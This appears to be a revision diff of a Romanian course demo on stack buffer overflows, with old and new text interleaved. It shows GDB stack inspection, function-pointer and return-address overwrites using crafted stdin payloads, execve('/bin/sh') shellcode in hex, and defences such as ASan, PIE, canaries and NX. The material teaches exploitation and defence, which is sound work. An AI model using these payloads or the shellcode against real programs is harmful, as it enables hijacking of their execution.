-În continuare vrem să afișăm conținutul stivei între frame pointer + 4 (unde se găsește adresa de retur) până la poziția curentă a stack pointer-ului. Folosim o expresie ''​while''​ specifică GDB:<​code>​ +=== ASan ===
-(gdb) set $pos=+
-(gdb) while ($pos <($ebp+4-$esp)) +
- >​x/​wx $ebp+4-$pos +
- >​set $pos=$pos+4 +
- >​end +
-0xffffd28c:​ 0x080485af +
-0xffffd288:​ 0xffffd2b8 +
-0xffffd284:​ 0x0000002f +
-0xffffd280:​ 0xffffd4cf +
-0xffffd27c:​ 0x0804850d +
-0xffffd278:​ 0x41414141 +
-0xffffd274:​ 0x41414141 +
-0xffffd270:​ 0x41414141 +
-0xffffd26c:​ 0x41414141 +
-0xffffd268:​ 0xf7e05bf8 +
-0xffffd264:​ 0xffffd28e +
-0xffffd260:​ 0xffffffff +
-0xffffd25c:​ 0xf7e8e056 +
-0xffffd258:​ 0x00000010 +
-0xffffd254:​ 0x00000041 +
-0xffffd250:​ 0xffffd26c +
-(gdb) p $ebp +
-$1 (void *) 0xffffd288 +
-(gdb) p $esp +
-$2 (void *) 0xffffd250 +
-(gdb) p &​func_ptr +
-$3 (void (**)(void)) 0xffffd27c +
-(gdb) p func_ptr +
-$4 = (void (*)(void)) 0x804850d <​actual_func>​ +
-(gdb) p &​buffer +
-$5 = (char (*)[16]) 0xffffd26c +
-(gdb) p buffer +
-$6 = '​A'​ <repeats 16 times> +
-</​code>​+
  
-În listing-ul de mai sus am afișat o parte din stivă, cuprinsă între ​(''​ebp+4''​ și ''​esp''​). Sunt afișate astfel: +O formă ​mai avansată de protecție oferă [[https://​github.com/​google/​sanitizers/​wiki/​AddressSanitizer|AddressSanitizer]] ​(ASan). Acesta protejează împotriva unui spectru mai larg de erori și afișează mesaje de clarificare pentru eroarea apărută:
-  * La adresa ''​0xffffd28c''​ este adresa de retur: ''​0x080485af''​ +
-  * La adresa ''​0xffffd288'',​ unde pointează și frame pointer-ul ''​ebp'',​ se găsește valoarea fostului frame pointer: ''​0xffffd2b8''​. +
-  * Următoarele două cuvinte ​de procesor sunt spațiu liber, de gardă. +
-  * La adresa ''​0xffffd27c''​ se găsește pointer-ul ''​func_ptr''​ conținând adresa funcției ''​actual_func'',​ adică ''​0x0804850d''​. +
-    * Acest lucru se poate observa ​și prin afișarea adresei și valorii simbolului ''​func_ptr''​ în GDB. +
-  * La adresa ''​0xffffd26c''​ (16 octeți mai jos) se găsește buffer-ul ''​buffer''​ conținând 16 valori ''​A''​ (adică ''​0x41''​). +
-    * Acest lucru se poate observa și prin afișarea adresei și valorii simbolului ''​buffer''​ în GDB. +
-  * În continuare se găsește spațiu disponibil pe stivă cu valori nerelevante pentru contextul curent.+
  
-Observăm din cele de mai sus cum este așezat buffer-ul pe stivă și faptul că pointer de funcție ​''​func_ptr''​ este exact deasupra saPractic, dacă facem buffer overflow, am putea suprascrie acel pointer cu o altă valoare. +<​code>​ 
-==== Suprascriere de pointer de funcție ====+$ echo -'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' ​./buffer-overflow-asan 
 +Insert message (less than 16 bytes): Call actual function.
  
-Un deziderat al unui atac este suprascrierea unui pointer de funcțieVom face acest lucru direct în cod C, pentru valoare demonstrativăVom inițializa în fișierul ''​stack.c''​ la linia 24 pointerul ''​func_ptr''​ la valoarea ''​inject_func''​.+================================================================= 
 +==26396==ERROR:​ AddressSanitizer:​ stack-buffer-overflow on address 0x7ffd82ff4910 at pc 0x7f87b096166e bp 0x7ffd82ff48c0 sp 0x7ffd82ff4068 
 +READ of size 44 at 0x7ffd82ff4910 thread T0 
 +    #0 0x7f87b096166d ​ (/​usr/​lib/​x86_64-linux-gnu/​libasan.so.4+0x5166d) 
 +    #1 0x400bc0 in read_data /​home/​razvan/​school/​so/​git-repos/​curs.git/​curs-07-demo/​buffer-overflow/​buffer-overflow.c:32 
 +    #2 0x400c1a in main /​home/​razvan/​school/​so/​git-repos/​curs.git/​curs-07-demo/​buffer-overflow/​buffer-overflow.c:​39 
 +    #3 0x7f87b0540b96 in __libc_start_main (/​lib/​x86_64-linux-gnu/​libc.so.6+0x21b96) 
 +    #4 0x4009d9 in _start (/​home/​razvan/​school/​so/​git-repos/​curs.git/​curs-07-demo/​buffer-overflow/​buffer-overflow-asan+0x4009d9)
  
-Într-un prim pas, facem acest lucru prin schimbarea liniei 24 de la:<code c> +Address 0x7ffd82ff4910 is located in stack of thread T0 at offset 48 in frame 
- void (*func_ptr)(void) = actual_func;​ +    #0 0x400ad4 in read_data ​/home/razvan/​school/​so/​git-repos/​curs.git/​curs-07-demo/​buffer-overflow/​buffer-overflow.c:​23
-</code> la <code c> +
- void (*func_ptr)(void) = inject_func;​ +
-</code>+
  
-În acest momentdupă compilare, se va afișa mesajul din funcția ​''​inject_func'':​<code bash> +  This frame has 1 object(s):​ 
-user@host:~$ make +    [3248) 'buffer' <== Memory access at offset 48 overflows this variable 
-gcc -Wall -Wextra ​--m32 -I../utils  -c -o stack.o stack.c +HINTthis may be a false positive if your program uses some custom stack unwind mechanism or swapcontext 
-gcc -m32  stack.o   -o stack +      ​(longjmp and C++ exceptions *are* supported) 
-user@host:​~$ ​./stack  +SUMMARY: AddressSanitizer:​ stack-buffer-overflow (/​usr/​lib/​x86_64-linux-gnu/libasan.so.4+0x5166d) 
-Insert message (less than 16 bytes): aaa +[...]
-Call injected function.+
 </​code>​ </​code>​
  
-Un mod mai "​barbar" ​de a obține același lucrudar mai apropiat de atacul propriu zis este să inițializăm pointer-ul ''​func_ptr''​ la adresa funcției ''​inject_func''​. Aflăm din executabil adresa funcției ''​inject_func'':<​code bash> +ASan oferă mecanisme complexe ​de protecție dar și un overhead care nu permite folosirea sa în producție. De aceeaASan este folosit în medii de testare pentru a identifica defecte în programele dezvoltate, uzual combinat cu fuzzing.
-$ objdump --syms stack | grep inject_func +
-08048521 g     F .text 0000001e ​             inject_func +
-</​code>​ +
-și apoi schimbăm corespunzător linia ''​24''​ din fișierul ''​stack.c'':<​code c> +
- void (*func_ptr)(void) = (void (*)(void)) 0x08048521;​ +
-</​code>​ +
-Am făcut cast la pointer ​de funcție ''​void (*)(void)''​ ca să prevenim warning-urile compilatorului.+
  
-Compilăm și rulăm programul cu efect rularea funcției ''​inject_func'':<​code>​ +=== ASLR PIE ===
-$ make +
-gcc -Wall -Wextra -g -m32 -I../utils  -c -o stack.o stack.c +
-gcc -m32  stack.o ​  -o stack +
-$ ./stack  +
-Insert message (less than 16 bytes): ana +
-Call injected function. +
-</​code>​+
  
-În acest fel am forțat apelul unei alte funcții prin inițializarea pointer-ului ''​func_ptr''​ la adresa ​(în hexazecimal) a acelei funcții. +Realizarea unui atac la memoria unui proces necesită cunoașterea unor adrese din spațiul de adrese al acelui proces. O măsură defensivă care face dificilă aflarea adreselor este plasarea aleatoare a zonelor de memorie în spațiul virtual de adrese al procesului, tehnică numită ASLR (//Address Space Layout Randomization//​). Atunci când se plasează aleator și zonele statice (date, cod) spunem că executabilul este compilat și linkat cu suport de PIC / PIE (Position Independent Code / Position Independent Executable). În cazul acesta, adresele din analiza statică ​executabilului nu corespund celor de la run time, care vor fi realizate aleatorAstfel că atacurile ​de mai sus nu vor funcționa, rezultând în accesul la o zonă care acum este, cel mai probabil, nevalidă:
-==== Stack buffer overflow pentru suprascriere pointer ​de funcție ====+
  
-Desigur, ne propunem un atac cât mai realist pentru suprascrierea pointer-ului de fucție ''​func_ptr''​. ​Plasarea acestuia pe stivă deasupra ​buffer-ului ''​buffer''​ așa cum am indicat mai sus face posibilă executarea unui buffer ​overflow. Transmitem mai mult de 16 octeți la intrarea standard a programului ​(buffer-ul este definit ca ocupând 16 octeți, dar ''​fgets''​ e apelat greșit - vulnerabilitateși suprascriem pointer-ul.+<​code>​ 
 +$ echo -'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' ​./buffer-overflow-pie 
 +Segmentation fault (core dumped) 
 +</​code>​
  
-Pentru ca să transformăm bug-ul ​în vulnerabilitate trebuie să suprascriem pointer-ul ​cu o adresă convenabilă, adică adresa ​funcției ''​inject_func'',​ adică ''​0x08048521''​.+Secvențele de cod independente de poziție folosesc adresare relativă la poziția curentă în loc de adresare absolută. Mai jos folosim analiză statică pe executabilul ​cu suport PIE și pe cel fără suport PIE ca să urmărim diferența în folosirea adresei unei funcții:
  
-Pentru început refacem programul la starea sa inițială, adică refacem linia ''​24''​ la<​code ​c+<​code>​ 
- void (*func_ptr)(void) = actual_func;​ +$ objdump -d -M intel buffer-overflow-pie 
-</codeși compilăm programul folosind ''​make''​.+[...] 
 +0000000000000817 ​<read_data>
 + ​817: ​  ​55 ​                     push   rbp 
 + ​818: ​  48 89 e5                mov    rbp,rsp 
 + ​81b: ​  48 83 ec 20             ​sub ​   rsp,0x20 
 + ​81f: ​  48 8d 05 c4 ff ff ff    lea    rax,​[rip+0xffffffffffffffc4] ​       # 7ea <​actual_func>​ 
 +[...]
  
-Pentru început haideți să scriem un octet mai mult decât 16 să vedem ce se întâmplă:​<code bash+$ objdump -d -M intel buffer-overflow 
-$ echo -n '​AAAAAAAAAAAAAAAAB'​ | ./​stack ​ +00000000004006c0 ​<read_data>: 
-Segmentation fault+  ​4006c0: ​      ​55 ​                     push   rbp 
 +  4006c1: ​      48 89 e5                mov    rbp,rsp 
 +  4006c4: ​      48 83 ec 20             ​sub ​   rsp,0x20 
 +  4006c8: ​      48 c7 45 f8 97 06 40    mov    QWORD PTR [rbp-0x8],​0x400697 
 +  ​4006cf: ​      0 
 +[...]
 </​code>​ </​code>​
-Ce s-a întâmplat este că am suprascris o parte din pointer-ul ''​func_ptr''​ și acesta ia o valorea de salt nepotrivită. Când se execută codul care se presupune că se află la adresa indicată de ''​func_ptr''​ se transmite //​Segmentation fault//. 
  
-Dorința noastră este să sărim la funcția ''​inject_func''​. Pentru aceasta, după cei 16 octeți indicați ​de buffer, vom scrie octeții aferenți adresei funcției ''​inject_func'' ​(adică ''​0x21'',​ ''​0x85'',​ ''​0x04'',​ ''​0x08''​ -- suntem pe little endian). Acești patru octeți vor suprascrie pointer-ul ''​func_ptr'' ​și vor forța saltul la funcția ''​inject_func'':<​code bash> +În listarea de mai sus vedem cum pentru cazul PIE adresa ​funcției ''​actual_func'' ​este obținută raportat la registrul pointer ​de instrucțiune (RIP). În cazul non-PIE adresa este folosită în valoare absolută ​''​0x400697''​.
-$ echo -en '​AAAAAAAAAAAAAAAA\x21\x85\x04\x08'​ | ./stack  +
-Insert message (less than 16 bytes): Call injected function. +
-</​code>​+
  
-Observăm că am "​deraiat"​ execuția uzuală a programului,​ suprascriind ​un pointer de funcție prin intermediul unui buffer overflow și apelând o altă funcțieDacă nu am fi generat buffer overflow, adică dacă am fi păstrat datele de intrare sub 16 octeți, programul s-ar fi comportat normal:<​code bash> +Putem să vedem ce mecanisme defensive sunt prezente într-un executabil cu ajutorul [[https://​github.com/​slimm609/​checksec.sh/​blob/​master/​checksec|scriptului ''checksec'']]:
-$ echo -en 'AAAAAAAAAAAAAAA' ​| ./stack  +
-Insert message (less than 16 bytes)Call actual function.+
  
-Read 15 bytes from standard input. +<​code>​ 
-</code> +$ wget https://​raw.githubusercontent.com/​slimm609/​checksec.sh/​master/​checksec 
-==== Stack buffer overflow pentru suprascriere adresă de retur ====+[...]
  
-Foarte rar vom avea șansa să avem un pointer de funcție plasat convenabil deasupra unui buffer. De aceea unul dintre cele mai uzuale moduri în care putem să schimbăm fluxul de execuție al unui program (descris și în articolul [[http://​www.phrack.org/​issues.html?​issue=49&​id=14&​mode=txt|Smashing the Stack for Fun and Profit]]) este suprascrierea adresei de retur. Dacă punem acolo o funcție convenabilă,​ va fi apelată o funcție nouă în loc să revină programul în locul inițial.+$ chmod a+x checksec ​
  
-Pentru a face acest lucru trebuie să știm unde anume se găsește adresa de retur raportat la bufferDe mai sus știm că buffer-ul se găsește la adresa ''​0xffffd26c''​ iar adresa de retur la adresa ''​0xffffd28c''​. Avem așadar o diferență de ''​0x20 = 32 de octeți''​. Dacă scriem 32 de caractere de orice fel (fie ''​A''​) și apoi scriem adresa unei adrese de salt dorite, vom sări la acea adresă. La fel ca mai sus, vom folosi adresa funcției ''​inject_func'',​ adică ''​0x08048521''​.+./checksec --file=buffer-overflow 
 +RELRO           STACK CANARY ​     NX            PIE             ​RPATH ​     RUNPATH Symbols FORTIFY Fortified Fortifiable ​ FILE 
 +Partial RELRO   No canary found   NX enabled ​   No PIE          No RPATH   No RUNPATH ​  75 Symbols ​    ​No 0 3 buffer-overflow
  
-Pentru acesta vom transmite la intrarea standard 32 de caractere ''​A''​ urmate de caracterele ''​0x21'',​ ''​0x85'',​ ''​0x04'',​ ''​0x08''​ la fel ca mai sus (când am suprascris pointer-ul ''​func_ptr''​);​ vom suprascrie așadar valoarea de retur de pe stack frame-ul funcției ''​read_data''​. Efectul va fi apelarea funcției ''​inject_func''​ la ieșirea din funcția ''​read_data''​.+$ ./​checksec ​--file=buffer-overflow-pie 
 +RELRO           STACK CANARY ​     NX            PIE             ​RPATH ​     RUNPATH Symbols FORTIFY Fortified Fortifiable ​ FILE 
 +Full RELRO      No canary found   NX enabled ​   PIE enabled ​    No RPATH   No RUNPATH ​  77 Symbols ​    ​No 0 3 buffer-overflow-pie
  
-Întrucât vom suprascrie inclusiv pointer-ul ''​func_ptr''​ vrem să nu mai fie acest apelatDe aceea comentăm linia ''​30'':<​code c> +./checksec --file=buffer-overflow-ssp 
-//​ func_ptr();​ +RELRO           STACK CANARY ​     NX            PIE             ​RPATH ​     RUNPATH Symbols FORTIFY Fortified Fortifiable ​ FILE 
-</​code>​ Apoi compilăm programul modificat folosind ''​make''​. Vom primi warning de variabilă nefolosită pentru ''​func_ptr''​ dar îl ignorăm. +Partial RELRO   ​Canary found      NX enabled ​   No PIE          No RPATH   No RUNPATH ​  76 Symbols ​    ​Yes 0 3 buffer-overflow-ssp
- +
-Pentru a genera atacul, rulăm o comandă ''​python''​ ca sa scriem mai ușor mai multe caractere de același tip (32 de caractere ''​A'',​ în cazul nostru) și urmărim efectul:<​code bash> +
-$ python ​-c 'print "​A"​*32 + "​\x21\x85\x04\x08"'​ | ./stack  +
-Insert message (less than 16 bytes): Call injected function.+
 </​code>​ </​code>​
-Observăm că am alterat fluxul normal de execuție al programului printr-un stack buffer overflow care a suprascris valoarea de retur  a funcției ''​read_data''​. Prin suprascrierea adresei de retur cu valoarea ''​0x08048521''​ (adresa funcției ''​inject_func''​) am forțat apelarea funcției ''​inject_func''​. 
-==== Shellcode ==== 
  
-De multe ori dorim să injectăm cod în cadrul spațiului de adresă al unui proces, cod pe care apoi să îl executăm. Pentru a face acest lucru se creează mici bucăți de cod scrise direct în cod mașină care vor fi injectate și executate, bucăți denumite shellcode. În general, shellcode-ul are ca obiectiv obținerea unui shell, ceea ce pe Linux echivalează un apel ''<​nowiki>​execve("/​bin/​sh"​)</​nowiki>''​.+==== Injectarea coduluiShellcodes ====
  
-Pentru ​a urmări construcția șutilizarea unui shellcode accesăm subdirectorul ''​shellcode/''​ și urmărim conținutul fișierului ''​shellcode.s''​. Acesta este codificarea în limbaj de asamblare a unui apel de sistem ​''​execve''​. Este echivalent apelului C ''<​nowiki>​execve("​/bin//​sh",​ ["/​bin//​sh",​ NULL], NULL)</​nowiki>''​. +<note important>​ 
- +Pentru ​acest demo trebuie să aveți instalat pe sistem asamblorul NASMPe un sistem ​Debian/Ubuntu îl puteți instala folosind comanda: 
-Ca să obținem shell-ul în forma sa binară, fișierul în limbaj de asamblare este compilat, este extrasă partea de cod șapoi transpusă în forma în hexazecimal folosită uzual în C, Python, Perl, Bash. Pentru aceasta folosim scriptul ''​extract-shellcode''​:<​code ​bash+<​code>​ 
-$ ./​extract-shellcode  +sudo apt install nasm
-Shellcode string is: '​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'​+
 </​code>​ </​code>​
-Între apostroafe avem shellcode-ul. Acesta este forma binară (cod mașină) a instrucțiunilor în limbaj de asamblare din ''​shellcode.s''​.+</​note>​
  
-Pentru a folosi, la nivel demonstrativ,​ shellcode-ul, vom defini o variabilă pe care o vom inițializa la șirul de mai sus. Apoi vom forța saltul la adresa acelei variabile. Aceasta vom face în fișierul ​''​run-shellcode.c''​. ​La forma actuală a fișierului vom face două modificări:​ +În exploit-urile prezentate mai sus am suprascris code pointeri ​și am modificat fluxul ​de execuție al programului apelând o funcție existentă (''​inject_func''​)Această metodă, de refolosire ​codului existent în cadrul unui atac, poartă numele de //code reuse attacks//Din păcate pentru atacator, în cazul unui atac de tipul //code reuse/spațiul posibil ​de acțiune este limitat ​la codul existentAșa că este de preferat un atac de tipul //code injection// care adaugă ​(injecteazăcod în spațiul virtual de adrese al procesului. În general acest cod rezidă într-o zonă de date (unde este cititcare primește permisiuni de execuție.
-  - La linia ''​11''​ vom inițializa șirul ''​shellcode''​ la valoarea shellcode-uluiModificăm linia de la<code c> +
-static const char shellcode[] = "​TODO";​ +
-</code> la <code c> +
-static const char shellcode[] =  "​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";​ +
-</code> +
-  - La linia ''​20''​ vom inițializa pointer-ul ​de funcție ''​func_ptr'' ​la adresa shellcode-uluiModificăm linia de la<code c> +
- void (*func_ptr)(void) = actual_func;​ +
-</code> la <code c> +
- void (*func_ptr)(void= (void (*)(void)) shellcode;​ +
-</​code>​+
  
-Compilăm programul folosind ''​make''​ și apoi îl apelăm. Întrucât se apelează ''​func_ptr''​ se va apela shellcode, rezultând în apelul echivalent ''<​nowiki>​execve("​/bin/sh"​)</​nowiki>'' ​și deci pornirea unui nou shell:<code bash> +Codul injectat de atacator poartă numele de //shellcode//. Deși denumirea indică deschiderea unei sesiuni de shell, un shellcode ​poate realiza orice tip de acțiune.
-user@host:​~$ make +
-gcc -Wall -Wextra -g -m32 -fno-stack-protector -I../​utils ​ -c -o run-shellcode.o run-shellcode.c +
-gcc -m32 -z execstack ​ run-shellcode.o ​  -o run-shellcode+
  
-user@host:~$ ./run-shellcode  +<note tip> 
-Insert message (less than 32 bytes): aaa+O listă de shellcode-uri pentru diferite sisteme de operare și arhitecturi găsiți [[http://shell-storm.org/shellcode/|aici]]. De aici vom folosi shellcode-uri în continuare. 
 +</​note>​
  
-$ exit+În subdirectorul ''​shellcode/''​ avem resursele pentru generarea și folosirea unui shellcode care va crea un shell.
  
-user@host:​~$  +Shellcode-ul este în general scris în limbaj ​de asamblare, apoi este asamblat și, din fișierul obiect rezultat, se extrage codul mașină corespunzător ca înșiruire de octeți. Avem un shellcode descris în limbaj de asamblare în fișierul ​''​shellcode.asm'' ​și unul pentru 32 de biți descris în ''​shellcode-32.asm''​Aceste fișiere conțin codificarea în limbaj de asamblare a unui apel de sistem ''​execve''​Este echivalent apelului C ''<​nowiki>​execve("/​bin//​sh",​ ["/​bin//​sh"​, NULL], NULL)</nowiki>''​. Ca să obținem codul mașină corespunzător acestor shellcode-uri,​ folosim fișierul ​''​Makefile.shellcode''​
-</​code>​ + 
-Putem observa invocarea apelului ​de sistem ​''​execve'' ​prin folosirea strace:<​code bash> +<​code>​ 
-$ strace ​-e execve ​./​run-shellcode  +$ make -f Makefile.shellcode print 
-execve("​./​run-shellcode",​ ["​./​run-shellcode"​],​ [/* 41 vars */]) = 0 +nasm -o shellcode.bin shellcode.asm 
-[ Process PID=9084 runs in 32 bit mode+\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
-Insert message (less than 32 bytes): aaaa +
-execve("/​bin//​sh",​ ["/​bin//​sh"​], ​[/* 0 vars */]= 0 +
-[ Process PID=9084 runs in 64 bit mode. ] +
-</code> +
-Primul apel ''​execve''​ a însemnat încărcarea executabilului curent ​''​run-shellcode''​, în vreme ce al doilea apel este exact apelul dat de shellcode, care creează un shell nou+
-==== Stack buffer overflow cu shellcode ​====+
  
-Dorim să supracriem adresa de retur a funcției ''​read_data''​ ca să refere shellcode-ul și să execute codul de acoloPentru aceasta trebuie să știm adresa ​shellcode-ului. Folosim ''​objdump'':<​code bash> +$ make -f Makefile.shellcode ​print-32 
-$ objdump ​--syms run-shellcode | grep ' shellcode'​ +nasm -o shellcode-32.bin shellcode-32.asm 
-08048610 l     O .rodata 0000001a ​             shellcode+\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
 </​code>​ </​code>​
  
-Nu putem folosi construcția anterioară în care diferența între adresa de retur era de ''​32'' ​de octeți. Acum bufferul este mai mare, este definit ca ''​buffer[32]''​. Vom investiga folosind GDB. De asemenea, vom elimina de tot pointer-ul de funcție ''​func_ptr'',​ în așa fel încât funcția ''​read_data''​ are forma:<​code c> +Cele două șiruri ​în afișaj hexazecimal sunt cele două shellcode-uri,​ respectiv pe 64 de biți și 32 de biți.
-static size_t read_data(void) +
-+
- char buffer[32];+
  
- memset(buffer, 'A', ​32); +Aceste două șiruri le folosim în fișierul ''​run-shellcode.c''​ pentru a le rula. În acest fișiervariabila ​''​shellcode''​ este populatădepinzând de arhitectura folosităcu cele două shellcode-uri. Ca să testăm funcționarea celor două shellcode-uricompilăm fișierul și rulăm cele două executabile:​
- printf("​Insert message (less than 32 bytes): "); +
- fgets(buffer64stdin);+
  
- return strlen(buffer);​ +<​code>​ 
-+make 
-</code> +gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../​utils ​ -c -o run-shellcode.o run-shellcode.c 
-Compilăm noul program folosind ''​make''​.+gcc -no-pie ​ run-shellcode.o ​  -o run-shellcode 
 +gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o run-shellcode-32.o run-shellcode.c 
 +gcc -no-pie -m32 -o run-shellcode-32 run-shellcode-32.o 
 +gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../​utils ​ -c -o inject-shellcode.o inject-shellcode.c 
 +gcc -no-pie -z execstack -o inject-shellcode inject-shellcode.o 
 +gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o inject-shellcode-32.o inject-shellcode.c 
 +gcc -no-pie -m32 -z execstack -o inject-shellcode-32 inject-shellcode-32.o
  
-Pentru a afla diferența între buffer și valorea de retur, folosim GDB:<​code bash> +$ ./​run-shellcode 
-gdb -q ./​run-shellcode +$ ls 
-Reading symbols from /​home/​razvan/​school/​2011-2012/so/git-repos/​cursuri.git/curs-07-demo/shellcode/run-shellcode...done+Makefile ​           inject-shellcode ​    ​inject-shellcode-32.o  inject-shellcode.o ​ run-shellcode-32    ​run-shellcode.c  shellcode-32.asm  shellcode.asm  shellcode.o 
-(gdb) b main +Makefile.shellcode ​ inject-shellcode-32 ​ inject-shellcode.c ​    ​run-shellcode ​      run-shellcode-32.o  run-shellcode.o  ​shellcode-32.bin  shellcode.bin  shellcode.s 
-Breakpoint 1 at 0x8048550: file run-shellcode.c, line 33. +$ exit
-(gdb) run +
-Starting program: /​home/​razvan/​school/​2011-2012/so/git-repos/​cursuri.git/curs-07-demo/shellcode/./run-shellcode ​ +
-warning: Could not load shared library symbols for linux-gate.so.1+
-Do you need "set solib-search-path"​ or "set sysroot"?​+
  
-Breakpoint 1, main () at run-shellcode.c:33 +$ ./run-shellcode-32 
-33 len = read_data();​ +$ ls 
-(gdb) si +Makefile ​           inject-shellcode ​    ​inject-shellcode-32.o ​ inject-shellcode.o ​ run-shellcode-32 ​   ​run-shellcode.c ​ ​shellcode-32.asm ​ shellcode.asm ​ shellcode.o 
-read_data () at run-shellcode.c:19 +Makefile.shellcode ​ inject-shellcode-32 ​ inject-shellcode.c ​    ​run-shellcode ​      ​run-shellcode-32.o ​ run-shellcode.o ​ shellcode-32.bin ​ shellcode.bin ​ shellcode.s 
-19 { +exit
-(gdb) x/2wx $esp +
-0xffffd27c:​ 0x08048555 0x00000001 +
-(gdb) p &​buffer +
-$1 = (char (*)[32]) 0xffffd250+
 </​code>​ </​code>​
-Mai sus, am realizat următorii pași: 
-  - Am pornit GDB pe executabilul ''​run-shellcode''​. 
-  - Am pus breakpoint pe main și am rulat programul. 
-  - Am avansat o instrucțiune (folosind ''​si''​ -- //step instruction//​) pentru a apela funcția ''​read_data''​. 
-  - Am afișat conținutul vârfului stivei pentru a afla adresa valorii de retur. 
-    * Adresa este ''​0xffffd27c''​ iar valoarea de retur este ''​0x08048555''​. 
-  - Am aflat adresa buffer-ului:​ ''​0xffffd250''​. 
-Diferența dintre adresa buffer-ul și adresa unde este stocată adresa de retur este ''​0xffffd27c - 0xffffd250 = 2c'',​ adică 44 de octeți. 
- 
-Pentru a suprascrie, așadar, adresa de retur vom scrie în buffer, de la intrarea standard, prin intermediul funcției ''​fgets'',​ 44 de caractere ''​A''​ (până la adresa de retur) urmată de octeții corespunzători adresei unde vrem să facem saltul. Adică octeții corespunzători shellcode-ului,​ adică ''​0x10'',​ ''​0x86'',​ ''​0x04'',​ ''​0x08''​. Acești octeți, reprezentând adresa shellcode-ului vor suprascrie adresa de retur corespunzătoare funcției ''​read_data''​. Consecința va fi că încheierea funcției ''​read_data'',​ în locul revenirii în funcția ''​main''​ (funcția apelantă), se va face salt în shellcode și se va crea un shell prin intermediul apelului ''​execve''​ codificat în shellcode. 
  
-Pentru a executa operațiile de mai sus, folosim ''​python''​ la fel ca mai devreme. Scriem ''​44''​ de caractere ''​A''​ urmate de octeții corespunzători shellcode-ului:<​code bash> +După rularea celor două executabile rezultate este creat un shell în care putem rula comenziPutem valida crearea cu success a shell-ului folosind ''​strace''​: 
-$ python -c 'print "​A"​*44 + "​\x10\x86\x04\x08"'​ | ./​run-shellcode +<​code>​ 
-</​code>​ +$ strace -e execve ./​run-shellcode 
-Programul pare să meargă dar nu obținem ​un shell. ​Acest lucru se întâmplă întrucât se închide, din pipe, intrarea standard și se închide și shell-ul însuși. Există metode de a face bypass la acest lucru, dar nu fac subiectul acestui demo. Pentru a confirma că se execută un shell, folosim ​strace:<​code ​bash+execve("​./​run-shellcode",​ ["​./​run-shellcode"​], ​0x7fffdbedd2b0 ​/* 37 vars */) = 0 
-python -c 'print "​A"​*44 + "​\x10\x86\x04\x08"'​ | strace -e execve ./​run-shellcode  +execve("/​bin/​sh",​ ["/​bin/​sh"​], ​NULL   = 0 
-execve("​./​run-shellcode",​ ["​./​run-shellcode"​], ​[/* 41 vars */]) = 0 +$ exit
-[ Process PID=20114 runs in 32 bit mode. ] +
-execve("/​bin//sh", ["/bin//​sh"​], ​[/* 0 vars */]) = 0 +
-[ Process PID=20114 runs in 64 bit mode. ]+
 </​code>​ </​code>​
  
-Observăde mai sus că am obținut într-adevăr execuția shellcode-uluiprin suprascrierea adresei ​de retur funcției ​''​read_data''​. În final shellcode-ul a apelat un echivalent al ''​<​nowiki>​execve("/​bin/​sh"​)</​nowiki>​'' ​care generează un shell. +Ca sură defensivă împotrivă injectării de codsistemele moderne oferă suport în tabela ​de pagini pentru ​marca pagini ca fiind neexecutabile. Acest mecanism se numește NX (No Executa) XD (eXecute Disable) sau DEP (Data Execution Prevention). În mod obiștnuit, variabila ​''​shellcode'' ​din fișierul ''​run-shellcode.c'' ​nu ar trebui să fie executabilă. Întrucât este marcată ​''​const''​ această variabilă este plasată în zona ''​.rodata''​. Această zonă este însă uzual colocalizată ​cu zona ''​.text''​ și astfel are și permisiuni de execuție. Acesta nu este un risc de securitate, întrucât este improbabil ca cineva să completeze într-un program variabile read-only cu valori sensibile ce pot fi executate.
-==== Stack buffer overflow ​cu shellcode pe stivă ====+
  
-În mod evident, nu ne putem aștepta ca un shellcode să se găsească în codul sursă al programului. Shellcode-ul trebuie injectat într-o zonă în care putem scrie; cel mai simplu ​este chiar pe stivă, adică exact în cadrul bufferului. Apoi vom suprascrie adresa ​de retur a funcției ​''​read_data'' ​cu adresa ​de start a buffer-ului unde am scris shellcode-ul.+Mai realist este scenariul în care un atacator furnizează programului ​shellcode-ul și programul îl stochează undeva ​în memorie de unde, prin mijloace precum supscrierea unui code pointer, ​este executat shellcode-ul. În aceste scenarii DEP va împiedica rularea shellcode-ului. Pentru a dezactiva DEP pe zona de memorie unde se găsește shellcode-ulun atacator va trebui să remapeze acea zonă ca fiind executabilă printr-un apel de tipul ''​mprotect'' ​/ ''​VirtualProtect''; ​deși posibilă, o astfel de acțiune nu este ușor de realizat de un atacator și atacul va deveni mai complicat.
  
